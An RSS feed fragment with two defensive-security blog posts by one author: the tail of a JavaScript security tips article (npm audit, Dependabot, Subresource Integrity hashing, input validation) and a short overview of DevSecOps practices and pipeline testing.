&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdvs53105myrcfvaas7m2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdvs53105myrcfvaas7m2.png" alt="SonarQube" width="800" height="331"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  2. Running a security audit with npm audit
&lt;/h2&gt;

&lt;p&gt;Most of the developers are using &lt;a href="https://docs.npmjs.com/" rel="noopener noreferrer"&gt;NPM(&lt;em&gt;node package manager&lt;/em&gt;)&lt;/a&gt;, which is a tool that helps you to install other people's code packages into your Javascript project.&lt;/p&gt;

&lt;p&gt;When it comes to security, the first thing we will consider is &lt;a href="https://docs.npmjs.com/packages-and-modules/securing-your-code" rel="noopener noreferrer"&gt;NPM audit tool&lt;/a&gt;. This tool will help you detect vulnerabilities in all your installed dependencies and help you fix them.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb48wjp5mo23p1lo8wgj5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb48wjp5mo23p1lo8wgj5.png" alt="npm audit" width="721" height="725"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Suppose you are using &lt;a href="https://github.com/" rel="noopener noreferrer"&gt;Github&lt;/a&gt; as a source control management system. In that case, they have a tool called &lt;a href="https://github.com/dependabot" rel="noopener noreferrer"&gt;Dependabot&lt;/a&gt;, which automatically scans the dependencies of &lt;a href="https://docs.npmjs.com/" rel="noopener noreferrer"&gt;NPM&lt;/a&gt; and informs you via email to clarify the risks.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F07imwj9p7x0puokzo3nr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F07imwj9p7x0puokzo3nr.png" alt="Dependabot" width="614" height="834"&gt;&lt;/a&gt;&lt;/p&gt;



&lt;p&gt;If you're working on a big project, you should consider automating this job instead of doing it manually each time by yourself. Thus, we can create a Cron Jobs to set recurring tasks (Choose your preferable CI tool).&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcdm7f3jm70hrtsv0huy9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcdm7f3jm70hrtsv0huy9.png" alt="Alt Text" width="800" height="327"&gt;&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  3. Integrity checking for JavaScript (SRI)
&lt;/h2&gt;

&lt;p&gt;If you're a developer, I'm sure you used before the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag to import third-party libraries inside your code, but did you ever think about the possibility of manipulating the source code of those imported scripts?&lt;/p&gt;

&lt;p&gt;Yes, It can happen, especially when you render external resources on your website. Therefore, your website may face a security breach.&lt;/p&gt;

&lt;p&gt;You can use the &lt;em&gt;SRI&lt;/em&gt; feature to enable browsers to verify the resources they fetch as a security measure.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;script src="https://example.com/example-framework.js"
        integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
        crossorigin="anonymous"&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  How does it work?
&lt;/h3&gt;

&lt;p&gt;Let's say we'd like to add JQuery to our code.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Download the minimized version of &lt;a href="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js" rel="noopener noreferrer"&gt;JQuery&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Calculate the SHA256 hash of JQuery version 3.5.1 hosted by Cloudflare&lt;/li&gt;
&lt;li&gt;Run it twice through OpenSSL to generate the checksum.&lt;/li&gt;
&lt;li&gt;Encode the result in base64 format.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl -s https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js | openssl dgst -sha256 -binary | openssl enc -base64 -A

9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0=
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now that we have the hash, we can add the &lt;code&gt;integrity&lt;/code&gt; attribute to the script tag and the prefix &lt;code&gt;sha256-&lt;/code&gt; to the hash to indicate the hashing algorithm used. Starting from now, any browser that supports &lt;em&gt;SRI&lt;/em&gt; will require that the provided hash matches the calculated hash of the downloaded file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"
        integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0="
        crossorigin="anonymous"&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Browser compatibility (SRI)&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpg6oyn54jy00wphuxvet.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpg6oyn54jy00wphuxvet.png" alt="Browser compatibility SRI" width="800" height="250"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Validations, Validations, Validations!
&lt;/h2&gt;

&lt;p&gt;Client-side validation is not enough, and you should never rely on it when you write your code.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Don't trust user inputs.&lt;/li&gt;
&lt;li&gt;Use proper methodologies for encoding/escaping&lt;/li&gt;
&lt;li&gt;Sanitize and clean your user inputs&lt;/li&gt;
&lt;li&gt;Set secure cookies&lt;/li&gt;
&lt;li&gt;Establish a &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP" rel="noopener noreferrer"&gt;secure content security policy&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Encrypt data transmissions between client-side and server-side&lt;/li&gt;
&lt;li&gt;Use updated libraries and frameworks&lt;/li&gt;
&lt;li&gt;Perform regular scans on your underlying databases and codebases&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Read: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://portswigger.net/web-security" rel="noopener noreferrer"&gt;https://portswigger.net/web-security&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://snyk.io/blog/5-ways-to-prevent-code-injection-in-javascript-and-node-js/" rel="noopener noreferrer"&gt;https://snyk.io/blog/5-ways-to-prevent-code-injection-in-javascript-and-node-js/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  5. Minify and obfuscate your Javascript
&lt;/h2&gt;

&lt;p&gt;As an attacker, I will try my best to understand the business logic behind the application, and if I do so, I can find my way through.&lt;/p&gt;

&lt;p&gt;It's crucial to minify &amp;amp; obfuscate your Javascript to make it more difficult for the attacker to understand your code and decrease the attack surface.&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Great job if you followed this far!&lt;/p&gt;

&lt;p&gt;Hopefully, you’re now more aware of the problems you may face while developing your javascript application. Keep in mind that this article covered only a few things you should check while securing your application.&lt;/p&gt;

&lt;p&gt;You may also need to read about: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Configuration Management.&lt;/li&gt;
&lt;li&gt;Authentication.&lt;/li&gt;
&lt;li&gt;Session Management.&lt;/li&gt;
&lt;li&gt;Secure Transmission.&lt;/li&gt;
&lt;li&gt;Denial of Service.&lt;/li&gt;
&lt;li&gt;Error Handling.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can reach me out on LinkedIn if you have questions &lt;a href="https://www.linkedin.com/in/in/bohr" rel="noopener noreferrer"&gt;@Bour Abdelhadi&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Do you want to support me? &amp;gt; &lt;a href="https://www.paypal.com/paypalme/bohrhadi" rel="noopener noreferrer"&gt;💲&lt;/a&gt; Thanks :D&lt;/p&gt;

</description>
      <category>security</category>
      <category>javascript</category>
      <category>codereview</category>
    </item>
    <item>
      <title>DevSecOps notes!</title>
      <dc:creator>Bour Abdelhadi</dc:creator>
      <pubDate>Tue, 28 Sep 2021 12:31:20 +0000</pubDate>
      <link>https://forem.com/bscript/devsecops-notes-490j</link>
      <guid>https://forem.com/bscript/devsecops-notes-490j</guid>
      <description>&lt;h2&gt;
  
  
  DevSecOps notes!
&lt;/h2&gt;

&lt;p&gt;I spent the last three months reading the &lt;a href="https://www.oreilly.com/library/view/agile-application-security/9781491938836/" rel="noopener noreferrer"&gt;Agile Application Security book,&lt;/a&gt; book, which helped to learn more about how to:&lt;/p&gt;

&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Add security practices to each stage of the existing &lt;em&gt;SDLC&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Integrate security with planning, requirements, design, and at the code level.&lt;/li&gt;
&lt;li&gt;Implement regulatory compliance in an agile or &lt;em&gt;DevOps&lt;/em&gt; environment.&lt;/li&gt;
&lt;li&gt;Build an effective security program through a culture of empathy, openness, transparency, and collaboration.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;The software development area is changing every day, and it keeps accelerating. Therefore, The security pioneers should also &lt;em&gt;change&lt;/em&gt; the way how to operate.&lt;/p&gt;

&lt;p&gt;Integrating security in each stage of your existing development lifecycle requires a good plan and a well-documented study on your current environment setup.&lt;/p&gt;

&lt;p&gt;Most organizations face a slowdown issue when it comes to executing security tasks in the &lt;em&gt;SDLC workflow&lt;/em&gt;, and the main problem is the absence of &lt;em&gt;Automation&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Automation&lt;/em&gt;&lt;/strong&gt; will play a key role in enabling application security to sustain the speed of &lt;em&gt;DevOps&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is DevSecOps?
&lt;/h2&gt;

&lt;p&gt;Before I say anything, I'd like to mention that &lt;em&gt;DevSecOps&lt;/em&gt; is not a &lt;em&gt;one-person&lt;/em&gt; job; What you see on &lt;a href="https://linkedin.com/" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt; and other job listing websites is titles, nothing more than.&lt;/p&gt;

&lt;p&gt;DevSecOps is a &lt;em&gt;culture&lt;/em&gt; or a process where the whole team (Development and IT operations) works &lt;em&gt;collaboratively&lt;/em&gt; to build, test, and release software in a more agile, &lt;em&gt;secure&lt;/em&gt;, and iterative manner than the traditional software development process.&lt;/p&gt;

&lt;p&gt;In a nutshell, &lt;em&gt;DevSecOps&lt;/em&gt; means integrating &lt;em&gt;security&lt;/em&gt; into every stage of the software development lifecycle. Some people refer to it as &lt;strong&gt;&lt;em&gt;shift-left&lt;/em&gt;&lt;/strong&gt;, which suggests moving critical testing practices earlier in the &lt;em&gt;SDLC&lt;/em&gt;.&lt;/p&gt;



&lt;p&gt;This is a mainly DevSecOps flow chart. On this basis, we can think that the most prominent feature of DevSecOps to SDL is &lt;strong&gt;&lt;em&gt;Automation&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjmdddilhru34oi25dx4a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjmdddilhru34oi25dx4a.png" alt="DevOps Approach" width="800" height="568"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Before moving further with &lt;strong&gt;&lt;em&gt;Automation&lt;/em&gt;&lt;/strong&gt;, we should divide the testing part into two sections:&lt;/p&gt;

&lt;p&gt;1- &lt;strong&gt;&lt;em&gt;White-box&lt;/em&gt;&lt;/strong&gt; is the practice of testing the code running behind the scene. This kind of testing is typically executed in Static Application Security Testing (SAST), including analyzers and linters in the IDE. Scanning the codebase we write is not enough; nowadays, 80-90% of a software project is third-party code in the form of libraries and packages. Thus we need Software Composition Analysis (SCA) to detect software licenses, deprecated dependencies, and known vulnerabilities.&lt;/p&gt;

&lt;p&gt;2- &lt;strong&gt;&lt;em&gt;Black-box&lt;/em&gt;&lt;/strong&gt; is another way of testing the application while it's &lt;strong&gt;&lt;em&gt;running&lt;/em&gt;&lt;/strong&gt;; it's also known as Dynamic Analysis security testing (DAST). Black box analysis occurs in real-time, finding security issues that an attacker could exploit while the application is running in the production server.&lt;/p&gt;

&lt;p&gt;The most common issue we face as security engineers is a large number of the &lt;strong&gt;&lt;em&gt;false positive rate&lt;/em&gt;&lt;/strong&gt;, which we'd like to reduce by using both &lt;em&gt;black-box&lt;/em&gt; and &lt;em&gt;white-box&lt;/em&gt; test techniques. &lt;/p&gt;



&lt;h2&gt;
  
  
  Integrate Security tools in your build pipeline
&lt;/h2&gt;

&lt;p&gt;If you'd like to integrate SAST/SCA/DAST/ or RASP tools, all you need to do is to choose a suitable CI/CD tool such as &lt;a href="https://docs.gitlab.com/ee/ci/" rel="noopener noreferrer"&gt;GitLab CI/CD&lt;/a&gt;, &lt;a href="https://www.jenkins.io/" rel="noopener noreferrer"&gt;Jenkins&lt;/a&gt; or anything else.&lt;/p&gt;

&lt;p&gt;Integrating those security tools is not enough to ensure that we have everything in place. The most challenging job is to review the tool's results and automate that process as well.&lt;/p&gt;




&lt;blockquote&gt;
&lt;p&gt;"It's much more useful to think of security as being a vector to follow rather than a point to be reached. Vectors have size and direction, and you should think about the direction you want to go in pursuit of security and how fast you'd like to chase it. However it's path you will continue to walk forever."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://www.linkedin.com/in/bohr/" rel="noopener noreferrer"&gt;@Bour Abdelhadi&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
    </item>
  </channel>
</rss>
